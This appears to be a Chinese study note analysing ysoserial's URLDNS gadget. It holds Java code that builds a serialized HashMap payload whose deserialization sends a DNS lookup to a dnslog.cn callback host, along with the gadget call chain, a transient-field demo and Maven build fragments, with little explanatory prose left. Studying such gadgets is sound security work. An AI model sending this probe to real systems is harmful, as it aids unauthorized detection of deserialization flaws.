ysoserial中的URLDNS分析

package ysotest;import ysoserial.payloads.util.Reflections;import java.io.*;import java.net.InetAddress;import java.net.URL;import java.net.URLConnection;import java.net.URLStreamHandler;import java.util.HashMap;public class URLDNStest {    public static void main(String[] args) throws Exception {        //URLStreamHandler为抽象类，无法直接实例化，需要实现抽象方法        URLStreamHandler handler = new URLStreamHandler()            //序列化，这是可以的//        {//            @Override//            protected URLConnection openConnection(URL u) throws IOException {//                return null;//            }//        };            //序列化，这是不可以的        {            @Override            protected URLConnection openConnection(URL u) {                return null;            }            @Override            protected synchronized InetAddress getHostAddress(URL u){                return null;            }        };        HashMap hm = new HashMap();        URL url = new URL(null,"http://2.t5fuid.dnslog.cn",handler);        hm.put(url,url);        Reflections.setFieldValue(url,"hashCode",-1);        //下面两行是序列化        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("url"));        oos.writeObject(hm);        //下面两行是反序列化，重写getHostAddress方法为null后还是可以发出请求的        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("url"));        HashMap hm1 = (HashMap)ois.readObject();    }}

HashMap.readObject()HashMap.putVal()HashMap.hash()URL.hashCode()URLStreamHandler.hashCode()URLStreamHandler.getHostAddress()InetAddress.getByName()

//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.

args = new String[]{"http://jqbq7f.dnslog.cn"};

package ysotest;import java.io.*;import java.net.URLStreamHandler;class User implements Serializable {    private static final long serialVersionUID = 123456L;    private transient int age;    private String name;    public static long getSerialVersionUID() {        return serialVersionUID;    }    public int getAge() {        return age;    }    public void setAge(int age) {        this.age = age;    }    public String getName() {        return name;    }    public void setName(String name) {        this.name = name;    }    @Override    public String toString() {        return "User{" +                "age=" + age +                ", name='" + name + ''' +                '}';    }}public class urltest{    public static void main(String[] args) throws IOException, ClassNotFoundException {        SerializeUser();        DeSerializeUser();    }    //序列化    private static void SerializeUser() throws IOException {        User user = new User();        user.setName("only Security");        user.setAge(18);        ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("./onse.ser"));        os.writeObject(user);        os.close();        System.out.println("添加了transient关键字序列化：age= " + user.getAge());    }    //反序列化    private static void DeSerializeUser() throws IOException, ClassNotFoundException {        File file = new File("./onse.ser");        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));        User newUser = (User)ois.readObject();        System.out.println("添加了transient关键字反序列化：age= " + newUser.getAge());    }}

<dependency><groupId>commons-io</groupId><artifactId>commons-io</artifactId><version>2.2</version></dependency>

Failed to execute goal org.apache.maven.plugins:maven-surefire-plugin:2.20:test (default-test) on project ysoserial: There are test failures.

<plugin>    <groupId>org.apache.maven.plugins</groupId>    <artifactId>maven-surefire-plugin</artifactId>    <configuration>        <skipTests>true</skipTests>    </configuration></plugin>